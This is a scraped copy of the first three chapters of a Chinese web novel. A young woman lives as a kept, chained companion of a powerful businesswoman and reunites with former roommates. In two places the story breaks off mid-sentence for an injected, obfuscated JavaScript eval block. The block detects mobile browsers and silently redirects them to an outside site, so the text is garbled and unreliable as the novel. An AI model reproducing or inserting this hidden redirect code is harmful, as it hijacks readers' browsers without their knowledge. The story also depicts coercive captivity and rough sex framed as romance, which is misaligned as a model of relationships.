《驯养玫瑰》 1. 第 1 章 【2025年春】 已经是上午十点,何序才在鸟叫声中转醒,她偏头看向阳台,海浪一样起伏着的白纱窗帘后面,有只白头鹎叫着蹦上了圆桌。 "啁啾,啁啾,咕——" 何序学了一声, "啁啾,啁啾,咕——",掀开被子下床,同往常一样光裸着身体朝阳台走。她的皮肤比四月的阳光还白,窗帘被晒得发软的影子从她身上抚过,暂时遮住了那些分部于各处的暧昧痕迹——即使已经淡得快看不见,也还是能轻而易举想象出当时的激烈。 她的双腕应该被缚得很紧,淤青呈现环形,后肩应该被咬出过血,牙印至今还在。右脚戴着一个黑色的皮质脚环,宽度不超过一指,通体不见接缝亦无锁扣,严丝合缝,上面唯一的装饰是从脚踝处坠下的红宝石,色泽纯正,阳光照过来如血液流动,更衬得她小腿皮肤苍白,上面的指印清晰可见。 何序拂开窗帘走上阳台。 白头鹎已经飞走了,桌上留着它叼过来的一片玉兰芽鳞,毛茸茸像猫的耳朵。 何序看了一会儿,把芽鳞拾在手心,回来卧室洗漱。 何序收拾好下楼是在半小时后,餐食已经准备好了,管家胡代替她拉开椅子,盛了汤,之后一直目不斜视候在旁边。 餐厅里静得没有一点生活气。 饭后,何序坐在玄关穿鞋,准备出门。 胡代走过来说:“小姐出差结束了,今晚七点到家。” 言下之意,何序要在七点之前回家。 何序绑鞋带的动作停滞一瞬,很快站起来应道:“知道了。” 胡代没说话,侧身替拉何序开门,目送她到看不见之后,回来餐桌边对着盘子拍了张照片,发到微信。 【何小姐今天多吃了两颗樱桃。】 ———— 何序一路朝南走了十七分钟,然后坐地铁半小时,来到一家咖啡书店。书店叫“猫的星期八”,面积大,环境好,上新快,就是一年到头没什么人,总冷冷清清的。不过这不影响何序每天上午十二点过来,一待五六个小时,全神贯注和拼图死磕。 这是她每天除了吃饭、睡觉、看电影、发呆,唯一能做的事情。 不对,是唯二。 那个人不出差的时候,她每天还要跟她做很多床上的事——不讲感情,只是做——很辛苦。 但已经做了快三年了吧? 何序捏着一片找不到位置的拼图,嘴唇慢慢抿了起来。 这次的拼图有点难。 午后安静,斜进来的光墙隔绝了外界声音,在桌上留下看不见的轨迹一寸寸指向日暮,傍晚,三个风尘仆仆的女人从三个方向赶来,在书店门口激动相拥。 “我们毕业都快五年了,你怎么一点没变?”庞靖说。 程雪:“还是这么美?” “哈哈哈,还是这么不要脸。诶,”庞靖用胳膊肘撞撞低头看手机的谈茵,“小谈总,咱宿舍现在就您老有钱,晚上打算请什么?” 谈茵:“路边摊。” 庞靖“切”一声,扭头看着镀了层金光的书店:“嚯,这儿可是寸土寸金的鹭洲经济特区啊,竟然开了这么大一家赚不了钱的书店!老板不是家里有矿,就是脑子有水!” 庞靖犀利评价结束,挽着程雪往门口走:“走走走,进去坐一会儿。我现在每天不是跟领导拍桌子,就是跟客户扯皮,脑子都要炸了,赶紧让我进去躲会儿清净。” 三人推门进来,里面压根不用找,全是空位。 庞靖挑了个靠窗的坐下,拿出手机扫码点单。 “你喝什么?”庞靖问接了个电话,晚几步过来的谈茵。 谈茵视线从不远处一扫而过,伸手拉开椅子:“白开水,最近胃不舒服。” 程雪:“忙得?” 谈茵:“嗯。” 话落,谈茵落座的动作忽然停住,抬头看向刚刚一扫而过的地方——有个人趴在桌上睡着了,半边脸陷在臂弯里,半边浸在夕阳里,随着呼吸轻颤的睫毛是风吹皱了的湖水,在谈茵心上缓缓推了一把。 谈茵迅速松开椅子往过走。 庞靖、程雪奇怪地对视一眼,同时看向谈茵和桌边正在转醒的人。 “何序!”庞靖一时激动没控制住声音,但是还好,书店只有她们几人,这一声影响不大。 庞靖快步跟在程雪后面起身。 桌边,何序刚睡醒,脑子还不清楚,听到有人喊自己名字也不过迟钝地看上一眼,伸手把沾在胳膊上的一片拼图拨落回桌面。 “咔嗒。” 很轻一声响,伴随着头顶一道微微发颤的女声。 “这么多年,你去哪儿?” 何序去捏拼图的动作悬在半空。 庞靖跑过来,紧接着谈茵那句问:“为什么不参加毕业典礼就走了?为什么不接电话,不回微信??为什么跟人间蒸发了一样,是死是活连个消息都没有???” 庞靖越说越激动,一把抓住何序的手腕,将她从座位上提了起来:“说话!” 何序没防备,被抓着身形一晃,撞在桌上,发出很重一声响。 程雪连忙拉开庞靖,低斥:“小胖!” 庞靖怒气不减:“这些问题你就不想知道??” 程雪欲言又止,焦躁又担心地看了眼何序,夕阳正在迅速从她身上褪去,阴影涌上来。 春末的寒气彻底将何序笼罩那秒,一旁按捺住激动的谈茵才再次有了动作,她轻但不容拒绝地拉开庞靖,撇开所有质问,只疑惑何序:“这些年过得好不好?” 捏在指尖的拼图被攥进手心,坚硬的棱角楔入皮肤。 何序抬起头,嘴角向上扬,眼尾向下弯,瞳孔里注入光,笑得和五年前如出一辙:“好,很好。” 庞靖:“那为什么不联系我们?!你知不知道你突然消失,我们有多担心??谈茵满世界找,我和程雪见人就问,到最后差点报警!” 110拨出去之前,程雪偶然在书桌下发现了何序留的纸条,所有担心才算有了着落。 但一句“毕业快乐,有缘再见”,还是显得格外草率。 何序迎上庞靖充斥着责怪的目光,真诚道歉:“对不起,那会儿临时回家处理点事,走得急。” 庞靖:“什么事能急成那样?连跟舍友打声招呼都顾不上!” 何序只是笑着,不说话。 她以前就这样,不想回答问题的时候就一直笑,温温柔柔的,和和气气的,直勾勾的,笑得你根本没法追问。 庞靖既无语又觉得这幕熟悉感久违,不想破坏,况且人不是好端端的,没出什么事么,所以她只怨怼地在何序肩头推了一把,说:“想没想我们?” 何序目光轻晃,说:“想。” 庞靖神经粗,没发现何序眼中那一瞬细微的情绪变化,吸着发酸的鼻子说:“算你还有良心。” 几人在何序这桌坐下。 谈茵看着桌上只差一片就能完成的拼图,问何序:“什么时候来鹭洲的?” 何序:“二零年。” 庞靖:“那不就是毕业之后一直在鹭洲?谈茵家在鹭洲,这儿也没多大,但是快五年啊,你们真就一次都没有见过??” 庞靖不可思议地盯着两人。 何序右脚微不可察地后撤寸余,被胳膊沾下来的那片拼图仍然攥在手心。谈茵视线从她发白的掌指关节上扫过,说:“没有。” 庞靖无语了:“你们是磁铁同极吧,稍微靠近一点就相斥。” 谈茵:“那倒没,主要小谈总这几年忙着从象牙塔走向名利场,闲时间太少。” 说的真像那么回事。 庞靖嘴角一提:“啧——” 谈茵后靠椅背,笑道:“喝的点好了?” 庞靖答声“没有”,扭头去使唤程雪。 谈茵视线在两人身上短暂停驻,转向身侧的何序:“家里的事情都处理好了?” 话题打开的方向既正常落在何序这个焦点身上,又不那么难以回答。 谈茵还是印象里那个谈茵,为人处事总留有让人舒服的余地。 何序点点头,原本竖着的拳头翻转朝下,说:“好了。” 谈茵:“嗯。刚毕业那会儿大家的处境都很狼狈,自顾不暇,现在基本稳定了,有事常联系。” 庞靖见缝插针:“咱们四大天坑专业之一——材料化学毕业的,处境能叫狼狈?简直生不如死好吧!” 庞靖围绕着“白天拼命打工,晚上吃土续命”的槽点疯狂输出了一阵,何序放在桌上的手机忽然震动起来,她很快按掉,但并排的谈茵还是看到屏幕上是到点的闹钟,备注:回家。 二十五岁的成年人,有几个六点就要回家? 家里有人? 谈茵拇指下压食指关节,听到何序说:“我有点事,要先走了。” 庞靖:“不是吧!我们才刚见面!我还想着晚上好好喝一杯呢!” 何序已经站了起来。 庞靖火速把手机怼到她跟前:“新联系方式给我!我和雪姐一天忙得像狗,这次要不是专程飞过来看导员,都不知道什么时候才能逮着你!你别再想跟我们玩消失!” 何序攥了攥手心的拼图,没有去接手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560025|171370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,而是问:“导员怎么了?” 程雪:“脑溢血,查寝的时候晕倒了,还好学生反应快,及时送到医院才没出什么大事。她现在在医院观察,我们三个约好明天一起过去。” “现在是四个了。”庞靖盯着何序说。 何序没办法说“不”,她们的四年大学,辅导员张滟充当了半个姐姐的角色,对她们非常照顾,她可以对有些人恩将仇报,但不能对张滟忘恩负义。 何序接住庞靖的手机,存了电话,加了微信,说:“明天几点去?” 程雪:“九点二院门口集合。” 何序:“好,我一定准时到。” 说完侧身,是要走的动作。 谈茵起身给何序让路,身形交错时,谈茵忽然说:“明天真的会见面?” 何序一愣,想起毕业典礼前一晚,谈茵说的那句“明天见”。她当时答应得很干脆,却直到近五年后的今天才终于再见。 不讲信用的人竟然没被时间的弯刀穿膛而过。 何序心想。 但疼痛的感觉正在胸腔里迅猛发生。 何序扬起嘴角,露出她招牌式的温和笑容:“真的。” 谈茵回以微笑,和庞靖、程雪二人一起目送何序离开书店,消失在人潮熙攘的街头。 庞靖收回视线,如释重负地说:“还好序儿没什么事,不然我这辈子都得为她牵肠挂肚。” 程雪“嗯”了声,神情也轻松不少。 只有谈茵始终偏头注视着何序离开的方向,心里有个声音在问:真的没什么事吗? 将近五年不见,她竟然还是未经时光磋磨,未被职场浸染的二十岁模样,眼里欲.望模糊,身上留白清晰。 可不应该是这样啊。 没谁工作五年,还能一成不变。 是遇到了一个人,把她保护得太好? 还是遇到什么事,阻止了她的生长? 谈茵拧眉看向桌上的拼图,良久,抬手摩挲着那上面唯一的缺口。 ———— 何序到家的时候,院子里已经多出来一辆车,表示那个人回来了,她快走两步进来,却没在餐桌前看到她。 胡代神出鬼没:“小姐还有工作,不吃晚饭了。” 何序朝楼上书房方向看了眼,说:“我去洗手。” 晚上的餐后水果还是樱桃,个头比早上的大,量好像也比早上的多? 何序不确定。 吃饱之后,她在院子里走了一会儿消食,接着去负一的影音室看完了之前剩下的半部电影,等到十点,上来楼上。 书房里的灯已经关了。 卧室门虚掩着,里面没有声音。 何序推门进来,看到裴挽棠坐在床尾——她刚洗过澡,颈部皮肤微微泛红,头发潮湿,睫毛上的水汽也没有散,整个人还是很湿润的样子,眼神却好像凉了很久,显得深。 何序反手把门推上,低声说:“我马上洗澡。” 说完就准备要走,眼神没在裴挽棠身上多做半分停留。 “砰。” 裴挽棠扣上电脑,声音和她的眼神一样冷:“口袋里装的什么?” 何序脚下一顿,下意识去掏,掏出来一张路边接的瑜伽体验卡,一张咖啡店的宣传单和早晨在桌上捡到的玉兰芽鳞。 裴挽棠看着那些东西,脸愈发沉:“别什么垃圾都往家里带。” 嗯,和这栋房子里动辄上万的物件比起来,这些东西是挺垃圾,应该扔掉;和如日中天的商界新贵裴小姐比起来,何序这个人也是垃圾,也该扔掉。 但矛盾的是,她来这里快三年,还睡在裴小姐床上。 何序用一种逆来顺受的冷静说了声“好”,把垃圾扔进垃圾桶,进来卫生间洗澡。 里面水汽氤氲,香气弥漫。 何序把自己泡在热水里,泡到全身发软,呼吸潮湿了,赤身裸体地走回房间,掀开被子上床。 裴挽棠靠在床头处理工作,她的手指很长很灵活,手指下不扰人的键盘敲击声像催眠曲,唱得何序昏昏欲睡。 何序勉强坚持了一会儿。 即将陷入沉睡之际,悬空的那侧肩膀忽然被推到床上,她立刻清醒,知道该来的来了,于是顺从地依着那股力道趴在床上,举高双手,等待身后的人靠近,等待她报复似的钳住她的双手,咬破她的肩膀,征伐她的身体,解构她的理智。 何序的神经很快开始打颤,眼角溢出泪水。 忍不住出声那秒,她深埋在枕头上的脸突然被扳向一侧,裴挽棠带着血腥味的吻封堵过来,强硬深入到令她窒息。 2. 第 2 章 “裴挽棠。” 何序不记得自己昨晚到底了叫了这个名字多少次,求饶的,难熬的,无意识的,她到最后五感都是模糊的,脑子里唯一残留下来的印象是裴挽棠在她受不了之前终于好心地结束了那个强硬的深吻,让她从濒临崩塌的窒息感中解脱出来。 又不给她一丝喘息机会。 程式化地将她翻转过来变为仰躺,扣住她发软的手腕,攥住她紧绷的小腿,然后低头在她脖子里,脸挨着她的脸,身体楔入她的身体,喉咙里那些沉默了一整个晚上,到此刻终于生出些苗头的喘息混着血腥气,持续不断往她耳朵里钻。 ……奇怪,声音怎么会和气味产生共鸣,一起往耳朵里钻? 何序浑身酸软,没什么精力思考这个问题,她睁着眼睛躺了一会儿,起来洗漱。 卫生间的镜子很大,何序一抬头就看到自己身上还没淡下去的痕迹现在变本加厉,深深浅浅到处都是,她蹭了蹭锁骨上那个红到像是要滴血的,伸手去拿牙刷。 很小一个动作。 何序疼得“嘶”了声,侧着身体落低右肩。 果然被咬破皮了,而且破得比之前任何一次都要厉害。 大概是因为裴挽棠在结束之前又咬过一次——左手虎口卡在她齿关,右手箍着她的腰,在她察觉到她的意图,本能因为惧怕疼痛而挣扎躲避之前,快速果断地一口咬上已经破了皮的地方。 很疼。 何序只是回忆都没有办法完全接受那个瞬间带来的强烈颤栗,喉咙里不受控制地发出呜咽,眼泪失控,流得裴挽棠整个手背都是。 她有时好奇,裴挽棠那么热衷于在她后肩咬个牙印出来到底是出于什么心理? 咬破了会给上药,好了又马上去咬下一次,反反复复。 电动牙刷的嗡嗡声在卫生间里响起。 何序含着牙刷走到浴缸边,把里面的水放了。 水是昨晚事后裴挽棠放的,把她抱进来,扔进去,泡上几分钟泡干净了,再捞出来擦一擦干,床上被折腾得不成样子的床单就换好了,表示她的任务结束,可以睡觉。 睡得晚,起得早。 何序头一垂,精神不济地坐在浴缸边刷牙。 早饭照旧只有何序一个人吃——裴挽棠很忙,每天早出晚归,何序基本没什么机会和她碰面——吃完出门。 胡代今天没什么要叮嘱何序的,倒是何序站在门口犹豫了几秒,说:“胡管家,你能不能借我点钱?” 胡代本来微微低头扶着门,闻言脸上闪过一丝不明显的古怪。 “我没有钱。”胡代说。 何序:“两百都没有?”她今天要去医院看张滟,不能空手,两百是她计算过比较合适的费用,不高,但因为她没有工作,没有存款,这钱就只能借。 胡代这次没直接拒绝,也没答应,她用视线指指何序的口袋:“您是不是从来没有看过银行卡的余额?” 是。 她一个吃穿用度,甚至回家时间都被事先安排好了的人,关注钱干什么。 笼中鸟别说是自由振翅了,连绝食自毁这种最基本的权利,它都没有。 何序垂了垂眼皮,掏出手机查看银行卡余额。她本来还担心太久不用,想不起来密码,不想打开APP就有人脸登录。 个,十,百……一共三百四十一万九千七百三十二块两毛一。 完全出乎意料的数字。 何序愣了两秒,迅速点进转账记录,发现钱都是从裴挽棠个人账户转过来的,一个月五万,逢年过节还有大额过节费。何序看着屏幕里那串她用一辈子时间可能都无法存到的数字,视线有些恍惚。 “要是以前赚钱也这么容易就好了。” 无意识的自言自语,声音很低。 胡代没听清,问:“您说什么?” 何序回神,锁屏手机装回口袋:“说‘你们家小姐真大方,睡几觉就给这么多钱’,替我谢谢她。” 话落,何序转过身大步离开。 胡代一如往常地目送她,回来拍她吃剩的餐食,连同她说过的话一起发给了裴挽棠。 裴挽棠刚到公司,手机响起来的时候,助理霍姿正在汇报工作。 “继续。”裴挽棠说。 霍姿便将目光从裴挽棠左手虎口处的牙印上挪开,继续汇报。 余光里,裴挽棠拿起了桌上的手机。 霍姿一心二用,看到她原本还算正常的脸色在解锁手机那秒迅速变凉。 ———— 说好的九点集合,何序八点半就到了,她想趁谈茵几人没来,把探病要带的东西都买好,当是对自己当年不告而别的一点弥补。 不想她们到得比她还早。 “序儿,这里!”庞靖挥着胳膊喊人。 何序只能放弃打算,走过来问:“你们怎么来这么早?” 庞靖抬手朝上一指:“就在楼上的酒店住着呢,这个点下来吃饭已经算是晚的。” “你干嘛来这么早?”庞靖反问。 何序:“没事干就提前来了。” “没事干??”庞靖怀疑自己幻听了,“27,你25,”庞靖指着何序简单打个补丁,保持情绪激动,“正是奋斗的年纪好吧,你竟然说没事干??你不会是已经财务自由了吧!” 庞靖说着把椅子往后一怼,目光锐利地上下打量何序。 “我的老天奶,你这一身行头都超过我一年工资了!” “这个头绳得四千多对吧?” 庞靖一把勾住何序的脖子,凑近她:“序儿,你现在做什么呢?发展也太好了吧!快说出来让姐也发发财呗!” 庞靖一番话将所有人的视线都引到了何序身上,何序身形微僵,本就素净的脸上血色一淡,只剩异样的白。 她应该怎么说? 说她毕业五年,没干过一天正经工作,现在像只笼中鸟一样苟且的活着? 还是说她的行头,她的发圈,她卡里的钱,没一样是她凭本事挣的,全靠别人施舍? 这么说挺丢人的吧。 她以前成绩不错,对此亲眼见证的朋友就在对面坐着,或许也对她寄予厚望的老师就在隔壁医院躺着,这种话说出来肯定会脏她们的耳朵。 她…… “你吃没吃早饭?”谈茵的声音突如其来,将裹挟何序的羞耻感打乱,递给她一个台阶。 何序反而心里一紧,脑子里有个念头一闪而过:谈茵是不是发现什么了? 发现了,她现在也只能顺着台阶往下走,说:“没吃。” 谈茵推过来菜单:“随便点,庞靖请客。” 庞靖每天赚着卖白菜的钱,操着卖白粉的心,现在还要被个富二代有钱人剥削,气得一下子什么都忘了,只顾拉程雪一起审判谈茵的抠搜。 何序坐在旁边来回翻着菜单,一个字也没看进去。 九点半,几人上来楼上探望张滟。 张滟一毕业就留校当了辅导员,刚好带何序她们这届,她是个很感性的人,又年轻,愣是用四年时间把本该保持有距离感的老师一职做成了处处操心的姐姐,替何序她们解决过不少麻烦,她们都很感激,今天再见,自然是有说不完的话。 但碍于张滟脑子里的出血点才刚止住,不能激动劳累,弄得话痨庞靖非常失望。 何序则在满腔歉疚中如释重负——她不想对张滟撒谎,但不撒谎,应该回答不了她提出的任何问题,所以卑劣地庆幸张滟还在病中。 四人只在病房待了半个小时就离开了。 庞靖和程雪连请假带周末,一共能在鹭洲待五天。 今天才是第二天。 庞靖一下楼就张罗着要去喝酒唱歌,立志把过去五年疏远了的感情全都培养回来。她的计划很紧凑,话很密集,何序始终找不到拒绝的机会,只能跟着一起过来。 “你们先点歌,我去个洗手间。”何序说。 庞靖一门心思找自己的成名曲,闻言头也不抬:“快去快回!” 何序应了声,拉开门出来。 卫生间离她们包厢有点距离,何序七拐八绕找过来的时候,谈茵正靠在洗手台边抽烟。 几分钟前,谈茵说她打个电话,晚点过去包厢,结果扭头就被撞到抽烟,她面上不见尴尬,笑着弹了弹烟灰,说:“不是当老板的料,偏偏家里就我一个,压力有点大。” 何序:“能理解。” 谈茵笑笑,微低着头继续吸烟。 卫生间里一时安静下来。 何序看了一会儿自己的影子,曲腿靠在谈茵旁边:“你不好奇我现在在做什么?” 谈茵:“好奇。” 谈茵的回答没有思考,像是对何序的突然开口有所准备一样,说完转头看着何序:“但如果你不想说,我不会追问,我了解你,你不是轻率的人,不论做什么都一定经过深思熟虑,有自己的理由。” 看吧。 谈茵果然是察觉到了什么,才会去打断庞靖。 何序清楚记得她的敏锐。 那还有必要瞒着她吗? 何序凝了地面片刻,手在洗手台边抓紧:“你不了解我,至少不了解现在这个我。” 谈茵目光微动,把烟按灭在吸烟点:“那你要和我说一说现在这个你吗?” 不要。 没法说。 谈茵:“我们以前是最好的朋友,知无不言。” 是啊。 头对头睡了四年的舍友,学业问题一起讨论,生活烦恼共同承担,她们以前很要好,后来么…… 何序笑了声,藏在刘海下和阴影里的双眼辨不清楚:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560026|171370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是靖靖说的发展好,是曾经想走捷径,却不知道捷径的尽头是看不见底的深渊,我掉下去了。” 掉下去之后试过很多办法,花了很长时间,还是没能成功爬上来。 于是就,放任了。 何序只能坦白到这个程度,更多的她说不出口,她还想要在好朋友,在老同学面前保留一点尊严和体面,也实在是对那些事的印象太模糊了——她自主格式化过很长一段记忆,因为经历太过痛苦。 “但总的来说,”何序斟酌了一下用词,看着谈茵说,“我目前过得不算差。” 这说法也太笼统了。 谈茵蹙眉:“你是不是遇到什么困难了?你知道的,我家境很不错,不管是经济上,还是人情往来上,只要你开口,我一定能想到办法帮你。” 何序摇了摇头:“没有困难,我现在真挺好的,吃得好,穿得好,每天玩玩拼图,看看电影,什么烦恼都没有。” 不也没目标,没奔头? 何序上学早,比她们都小,她才是25的年纪,怎么能在现在就停止沸腾? 原地踏步会让人逐渐枯萎。 谈茵想探究,想追问,话在喉咙里徘徊许久,还是没有出口:“好就好,你上学那会儿就脾气好,干什么都和和气气的,看着好欺负,我们一直担心你过不好。” “好脾气是假象,我其实最会骗人。”何序又一次反驳了谈茵,说完笑着歪歪头,无视谈茵眉心一闪而过不得赞同,认真道:“抽烟伤身体,尽量少抽。” 突如其来的关心。 即便只是出于最纯粹的朋友情谊,谈茵仍然觉得从心口熨帖到了四肢,她勾着嘴角,把包里剩下的半盒烟和打火机一起扔进了垃圾桶。 “以后不抽了。”谈茵说。 何序笑着眨了眨眼睛:“我去卫生间。” 谈茵:“我等你,等会儿一起过去。” 何序:“好。” 几人在KTV一直待到午饭。 庞靖搜了家步行可达的餐厅,慢慢悠悠往过晃。 老远瞟见寰泰生命科技气派的办公楼,庞靖吊着眼角说:“你们有没有听过‘裴挽棠’这个名字?” 语言也能像针,倏地扎进何序耳朵。 何序脊背挺直了点,眼垂半分,没有说话。 程雪:“当然听过,她也就比我们大六岁,但已经是近年鲜少几个成功突破技术壁垒,打破国外技术垄断的商业新秀之一了,完全凭本事在低迷的医疗器械行业声名鹊起,很牛。我们和她比,就像捧着青砖望高楼,差得不只是个人能力。”还有背后那些无法企及的资源、背景。 总之,不是一个世界的人,连谈茵那种家里有产业,财富扎实的门第在寰泰面前也不过小巫见大巫,没什么分量。 谈茵说:“天之骄子。” 对同样涉及医疗器械的谈家来说,寰泰或者说裴挽棠手指缝里露点边角料下来,就够他们吃很久,谈茵对此和程雪一样,客观且正视。 庞靖却是撇撇嘴,不以为意:“能力是能力,人品是人品。” 程雪听出言外意,转过头问:“什么意思?” 庞靖:“我有个客户是VIP病房的护士,喝多说漏过几句。” 程雪:“哪几句?” 庞靖:“裴挽棠曾经把个人关在家里,弄得只剩半条命。大概是三年前吧,人被送去我这个客户医院的时候,脚踝血肉模糊到已经见骨头了,据说是锁链磨的。” 程雪诧异:“真的假的?” 庞靖:“你如果信酒后吐真言那就是真的。” 程雪太过于震惊,一时没想好怎么评价。 庞靖手插着口袋,等旁边的人过去了,继续说:“被关的那个人还是女的,也就是说,鹭洲这位男女竞相追捧的天之骄子不止手段变态,还是同性恋。” 庞靖语气不善,说到最后一句时带着明显的鄙夷。 谈茵侧目看了何序一眼,说:“同性恋也是正常的性倾向,没必要另眼相看。” 庞靖:“我知道啊,我的偏见只对裴挽棠,我只是好奇,三年了,那个被关着的人还活着吗?脚上的锁链解开了吗?伤好了吗?自由了吗?” 这些问题的答案只有当事人知道。 庞靖突然觉得没劲,有钱人的扭曲和残忍不是她们该关注的事,所以话题一转,注意力回到下午干什么上。她的想法层出不穷,一会儿要程雪的意见,一会儿问谈茵怎么想。 何序跟在旁边,手里捏着昨天忘记放下的那片拼图,每走一步,脚环上的红宝石就会磕脚踝一下。 不疼,但是存在感强烈,有时候让何序觉得不舒服。 她尝试过扯、割、剪。 最后发现,柔软亲肤的皮革里面包裹着的那条金属链,她就是用尽全力也无法挣开分毫。 3. 第 3 章 何序几人的步子快快慢慢,拐一个弯,寰泰大楼被丢在身后。 它其中的某一层,霍姿得到应允后,推门进来裴挽棠办公室:“裴总,下一批拼图的图案挑好了,请您过目。” 寰泰生命科技是多元化的健康和福利公司,从产品设计到技术应用、解决方案、医疗保健服务等均有涉及,它既服务于普遍大众健康,也服务于公共卫生系统,去年刚刚入选过全球高质量企业TOP1000。 拼图这种微不足道的小事原本和寰泰各项业务完全不沾边。 沾边也不轮不到裴挽棠亲自处理。 但自从霍姿跟裴挽棠,每月25号,她都要谨慎挑选三幅立意鲜明、主旨明确的图案拿给裴挽棠确认,然后投厂生产出整个鹭洲绝无仅有的三幅拼图,送到距离寰泰半城之隔的书店——猫的星期八——供一人拼贴,消磨时间。 那三幅微不足道的拼图和突兀存在的书店一样,投入远不及回报,却一直雷打不动地存在着。 霍姿将平板放到裴挽棠手边,等她确认图案。 裴挽棠随意滑了两下,手指点在第二幅图右下角一个不起眼的位置:“这里加一片玉兰芽鳞。” 霍姿:“要着重显示吗?” 裴挽棠抬起眼,面无表情。 霍姿立刻知道自己失言了,员工要有猜老板心思的本事,但不能能当着老板面儿把话全说出来。 “我让设计师马上进行调整。”霍姿说。 霍姿拿回平板往出走。 走到门口,屏幕右下角提示有新邮件,霍姿在看到标题后顺手点进来,一目十行浏览,迟迟没了开门的动作。 裴挽棠:“说。” 霍姿把邮件拖回到最开始,转身说:“何小姐今天没去书店。” 裴挽棠看过来,目光沉而黑,比起早上突然冷下去的脸色,还要让人脊背发寒。 霍姿习以为常地走回来,把何序和照片里的其他人一起交给裴挽棠。 “这几位是何小姐大学舍友,今天一起去医院探望了辅导员张滟,之后在KTV待了两个小时,现在准备吃饭。”霍姿说。 邮件附带的第一张照片就拍在餐厅。 和昨天在书店一样,长桌两侧,庞靖、程雪坐一边,何序、谈茵坐一边,几人不知道聊了什么,何序和谈茵目光相对,脸上各自有笑。 霍姿看过何序不下千张照片,每次去裴挽棠家里送文件,还能和何序聊上几句,关系不算太远,但印象里,这是她第一次在何序脸上看到笑,很像裴挽棠刚刚提过的玉兰的芽鳞,阳光落上去,如春天在安静地发光。 光折射进裴挽棠眼底,深不见底。 霍姿权衡片刻,主动汇报:“坐在何小姐旁边的是李尽兰独女谈茵。” 裴挽棠不语,右腕内侧的筋在极端寂静中一点点变得明显,腕上一颗痣,压着青色血管。 半晌,裴挽棠注视着照片里的人说:“安诺医疗李尽兰?” 霍姿:“是,去年年末李总找人牵线,有意参与新型DNA纳米机器人的研究,但因为技术评估不过,没到您这儿就被评估团队淘汰了。” 裴挽棠:“不自量力。” 裴挽棠手下一掀,平板被推回到霍姿面前,与此同时,平板里传出邮件发送成功的声音——霍姿刚才收到的那封邮件被转发到了裴挽棠邮箱。 裴挽棠说:“她们什么时候见面的,都做了什么,去了哪儿,还会去哪儿。给你两个小时。” 霍姿:“明白。” 霍姿拿起平板快速离开。 办公室门闭合的刹那,裴挽棠在电脑上点开邮件,冰冻视线被照片里的“玉兰芽鳞”短暂融化,又被她旁边的寒风瞬间贯穿,定格在斑马线前,谈茵目光危险,把何序紧紧抱在怀里的画面上。 “你怎么回事啊,这里是人行道,车怎么能往这里骑?”庞靖心有余悸地护着被电动车车轮扫到腿的何序。 对方连忙道歉:“对不起对不起,我这单快超时了,有点赶。” 庞靖:“再赶也不能朝人身上碾啊!” 对方:“对不起,对不起……” 周围有视线聚拢过来。 何序生在普通人家,知道赚钱的辛苦,对同样是为生活奔波的人多少抱有一丝同理心,她和及时拉开自己,免了一场意外的谈茵说声“谢谢”,弯腰拍干净腿上的土。 “算了靖靖,我没什么事。”何序说。 庞靖不甘心地瞪对方一眼,这才侧身让路。 四人在斑马线前又等了一轮红灯,结伴过来对面的商场一路吃一路逛,像是回到了轻松自在的学生时代。 很久远。 但因为纯粹,活动轨迹简单,查起来就格外简单。 霍姿把一叠资料放在裴挽棠桌上,说:“裴总,您要的东西都在里面。” ———— 晚上九点,已经在院子里消了快两个小时食的何序,第不知道多少次把视线投向门口。 她在等裴挽棠。 通常裴挽棠只要不出差,一定会在六点半准时到家,然后七点开饭。今天很奇怪,裴挽棠人在鹭洲,没有应酬,但也没有回家。 何序吃饭的时候随口问过胡代一句,胡代说她不清楚,何序就只能等着。 有件事,她很着急问裴挽棠。 九点十分,二十分,三十分…… 快十点的时候,车声伴随着灯光,终于出现在大门口。 何序停下略显焦躁的脚步,等在台阶上。 车子很快开进来,司机绕到后排打开门,却不见有人下来。 何序探头看了眼,只能看到后排模糊的轮廓。 庭院里寂静无风,空气泛凉。 过了差不多五六分钟之久,和西装裤不太相称的白色休闲鞋才从车里伸出来,踩在地上,裴挽棠脸色发白,鬓角微湿,顺着青石板道往家走。 何序焦躁的心绪在看到裴挽棠脸那秒空了空,下意识看向她的腿。 果然有点跛。 很细微的幅度,不仔细看完全看不出来。 何序朝前走了一步,又停下,前后都是本能的动作,她没注意到,只在裴挽棠像是没看见她一样,径直上了台阶,准备进家门的时候,快步上前说:“昨天的拼图去哪儿了?” 那副拼图很难,但是拼好之后漫山遍野的五花海和扑面而来的自由感让她心跳加速,她想把被胳膊沾下来的最后一片放回去,想再看一眼。 所以告别谈茵几人后,她绕路去了趟书店,书店的人却告诉她,拼图不见了。 不见了是什么意思她不懂,只能想到问裴挽棠。 裴挽棠在廊柱旁站定,转过头,俯视着何序:“你问我?我是你什么人,要替你看着东西?” 何序不是这个意思,她只是不知道问谁,绞尽脑汁想了好几圈,也只能想到书店的老板裴挽棠。 裴挽棠脸色比下车那会儿更白,鬓角冒出汗。 何序看到汗珠子挂不住往下滚的时候下意识张口想说些什么,视线一对上裴挽棠,脑子立刻恢复清醒。 “那家书店不是你的吗?”何序说。 话落像锥凿在冰上,尖锐的冰碴四溅。 